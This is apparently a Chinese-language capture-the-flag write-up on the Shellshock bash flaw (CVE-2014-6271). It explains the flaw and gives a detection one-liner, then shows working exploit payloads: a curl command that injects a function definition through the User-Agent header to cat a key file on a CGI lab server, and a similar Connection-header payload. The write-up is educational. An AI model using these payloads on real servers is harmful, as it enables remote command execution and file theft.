分析
漏洞编号:
CVE-2014-6271
漏洞名称:
Linux Bash远程可执行漏洞
漏洞影响范围:
所有安装GNU bash 版本小于或者等于4.3的Linux操作系统
漏洞检测:
使用以下命令检测是否存在此漏洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果返回显示有“vulnerable” ,则表示存在漏洞,如果没有,则表示没有漏洞。
例如,当存在漏洞是,修复前的输出为:
vulnerable
this is a test
bash漏洞的原理:
BASH除了可以将外壳变量导出为环境变量,还可以将外壳函数导出为环境变量!当前版本的bash中通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的外壳命令。
简单地说就是,巴什脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
本题的解决思路
1、破壳漏洞,是由bash cgi产生的漏洞,如果web程序调用bash脚本就可能产生这个漏洞
2、通常cgi目录为cgi-bin,这里也是,并且破壳漏洞cgi源文件名就是pc.cgi,那么构造伪造请求包时,就可以使用url:http://ip:port//cgi-bin/poc.cgi
3、使用curl或者抓包软件构造user-Agent(或者别的参数,比如Connection)就可以将参数传进去
使用curl的方法:
curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://219.153.49.228:42303/cgi-bin/poc.cgi
使用Connection的方法
() { :;}; echo; /bin/bash -c 'cat /key.txt'
4、注意这次实验漏洞的利用需要在闭合函数之后立即输出一个换行,用echo;或echo -e "rn";,否则会报错(我也不知道为什么,求解答)
5、换行命令后可以接/bin/cat 或者/bin/ls 来遍历文件夹、查看key